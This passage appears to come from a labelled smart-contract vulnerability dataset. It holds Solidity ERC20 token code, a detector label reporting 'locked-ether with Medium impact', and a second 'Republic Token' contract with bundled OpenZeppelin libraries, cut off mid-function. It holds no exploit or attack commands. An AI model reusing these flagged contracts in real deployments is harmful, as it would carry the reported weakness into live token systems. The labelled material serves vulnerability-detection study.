uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
/**
Allow token to be traded/sent from account to account // allow for staking and governance plug-in
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/* 1-time token mint/creation function. Tokens are only minted during contract creation, and cannot be done again.*/
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract RPLC is ERC20Permit, Ownable {
mapping(address => bool) public minters;
bool preSupplyInitialized = false;
event MinterAdded(address indexed addr);
event MinterRemoved(address indexed addr);
modifier onlyMinters() {
require(
minters[msg.sender] == true,
"Only minters"
);
_;
}
constructor() ERC20("Republic Token", "RPLC") ERC20Permit("RPLC") {}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function initMinters(address _bondContract, address _rewardContract)
external
onlyOwner
{
require(
_bondContract != address(0) && _rewardContract != address(0),
"zero addr"
);
minters[_bondContract] = true;
minters[_rewardContract] = true;
}
function initPreSupply() external onlyOwner {
require(preSupplyInitialized == false, "Already sent");
preSupplyInitialized = true;
_mint(msg.sender, 3100*10**decimals());
}
function addMinter(address minterAddr) external onlyOwner {
require(minterAddr != address(0), "Zero addr");
minters[minterAddr] = true;
emit MinterAdded(minterAddr);
}
function removeMinter(address minterAddr) external onlyOwner {
require(minterAddr != address(0), "Zero addr");
minters[minterAddr] = false;
emit MinterRemoved(minterAddr);
}
function mint(address account_, uint256 amount_) external onlyMinters {
_mint(account_, amount_);
}
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) public virtual {
uint256 decreasedAllowance_ = allowance(account_, msg.sender) - amount_;
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
